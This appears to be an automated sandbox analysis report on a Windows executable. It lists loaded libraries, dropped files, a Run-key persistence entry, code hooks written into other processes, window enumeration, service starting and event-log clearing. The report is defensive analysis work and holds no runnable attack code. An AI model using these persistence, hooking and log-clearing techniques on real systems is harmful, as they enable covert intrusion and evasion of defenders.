Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinui.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.appdefaults.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: tiledatarepository.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: staterepository.core.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepository.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: staterepository.core.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: thumbcache.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: directmanipulation.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: libcef.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: libcef.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: libcef.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{a07034fd-6caa-4954-ac3f-97a27216f98a}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\16.0\Access\Capabilities\UrlAssociations

Jump to behavior

Source: 3Kel6xErOk.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 3Kel6xErOk.exe

Static file information: File size 3226624 > 1048576

Source: 3Kel6xErOk.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x236200

Source: 3Kel6xErOk.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 3Kel6xErOk.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 3Kel6xErOk.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 3Kel6xErOk.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 3Kel6xErOk.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 3Kel6xErOk.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 3Kel6xErOk.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\_work\1\s\\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: VCRUNTIME140.dll.5.dr
Source:	Binary string: D:\pcagamecenter\src\gamecenter\Release\minigameclient.pdb source: 3Kel6xErOk.exe
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /Od /WX -DL_ENDIAN -DOPENSSL_PIC -D_WIN32_WINNT=0x0501 source: 3Kel6xErOk.exe
Source:	Binary string: ?crypto\stack\stack.ccompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /Od /WX -DL_ENDIAN -DOPENSSL_PIC -D_WIN32_WINNT=0x0501 source: 3Kel6xErOk.exe
Source:	Binary string: D:\pcagamecenter\src\gamecenter\Release\minigameclient.pdb source: 3Kel6xErOk.exe

Source: 3Kel6xErOk.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 3Kel6xErOk.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 3Kel6xErOk.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 3Kel6xErOk.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 3Kel6xErOk.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Code function: 5_2_032A2F1A LoadLibraryA,GetProcAddress,

5_2_032A2F1A

Source: initial sample

Static PE information: section where entry point is pointing to: .ubx1

Source: 3Kel6xErOk.exe	Static PE information: section name: .detourc
Source: 3Kel6xErOk.exe	Static PE information: section name: .detourd
Source: lte7inN.exe.5.dr	Static PE information: section name: .00cfg
Source: lte7inN.exe.5.dr	Static PE information: section name: .ubx0
Source: lte7inN.exe.5.dr	Static PE information: section name: .ubx1

Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_004450F4 push ecx; ret	5_2_00445107
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_004456D6 push ecx; ret	5_2_004456E9
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032B42DA push ecx; ret	5_2_032B42ED
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032AF4D9 push ecx; ret	5_2_032AF4EC
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_100142D6 push ecx; ret	5_2_100142E9
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_1000F4D5 push ecx; ret	5_2_1000F4E8
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAA7865 push ecx; ret	16_2_6CAA7878
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAC73A8 push ecx; ret	16_2_6CAC7398
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAC7399 push ecx; ret	16_2_6CAC7398
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03232616 push ecx; ret	16_2_03232629
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03232B2A push ecx; ret	16_2_03232B3D
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100395F2 push ecx; ret	16_2_10039605
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10039B06 push ecx; ret	16_2_10039B19
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAA7865 push ecx; ret	17_2_6CAA7878
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAC73A8 push ecx; ret	17_2_6CAC7398
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAC7399 push ecx; ret	17_2_6CAC7398

Source: C:\Users\user\Desktop\3Kel6xErOk.exe	File created: C:\Program Files (x86)\pR4cysw\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	File created: C:\Program Files (x86)\pR4cysw\libcef.dll	Jump to dropped file
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	File created: C:\Program Files (x86)\pR4cysw\MSVCP140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	File created: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Jump to dropped file

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_03223A82 StartServiceA,CloseServiceHandle,CloseServiceHandle,Sleep,lstrlen,LocalSize,lstrlen,LocalReAlloc,lstrlen,lstrlen,lstrlen,LocalFree,

16_2_03223A82

Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WINDOWS			Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WINDOWS			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Memory written: PID: 7548 base: 2E10005 value: E9 8B 2F 95 74	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Memory written: PID: 7548 base: 77762F90 value: E9 7A D0 6A 8B	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Memory written: PID: 7548 base: 2E20007 value: E9 EB DF 97 74	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Memory written: PID: 7548 base: 7779DFF0 value: E9 1E 20 68 8B	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Memory written: PID: 1568 base: 2E00005 value: E9 8B 2F 96 74	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Memory written: PID: 1568 base: 77762F90 value: E9 7A D0 69 8B	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Memory written: PID: 1568 base: 2E10007 value: E9 EB DF 98 74	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Memory written: PID: 1568 base: 7779DFF0 value: E9 1E 20 67 8B	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Memory written: PID: 2044 base: 2F40005 value: E9 8B 2F 82 74	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Memory written: PID: 2044 base: 77762F90 value: E9 7A D0 7D 8B	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Memory written: PID: 2044 base: 2F60007 value: E9 EB DF 83 74	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Memory written: PID: 2044 base: 7779DFF0 value: E9 1E 20 7C 8B	Jump to behavior

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03220C44 IsWindow,GetWindowThreadProcessId,GetCurrentProcessId,GetWindowTextA,IsWindowVisible,lstrlen,LocalAlloc,LocalSize,GetClassNameA,lstrlen,IsWindowEnabled,IsWindowVisible,IsIconic,IsZoomed,lstrcpy,LocalReAlloc,		16_2_03220C44
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10027C20 IsWindow,GetWindowThreadProcessId,GetCurrentProcessId,GetWindowTextA,IsWindowVisible,lstrlen,LocalAlloc,LocalSize,GetClassNameA,lstrlen,IsWindowEnabled,IsWindowVisible,IsIconic,IsZoomed,lstrcpy,LocalReAlloc,		16_2_10027C20

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_10019A61 OpenEventLogW,ClearEventLogW,CloseEventLog,

16_2_10019A61

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

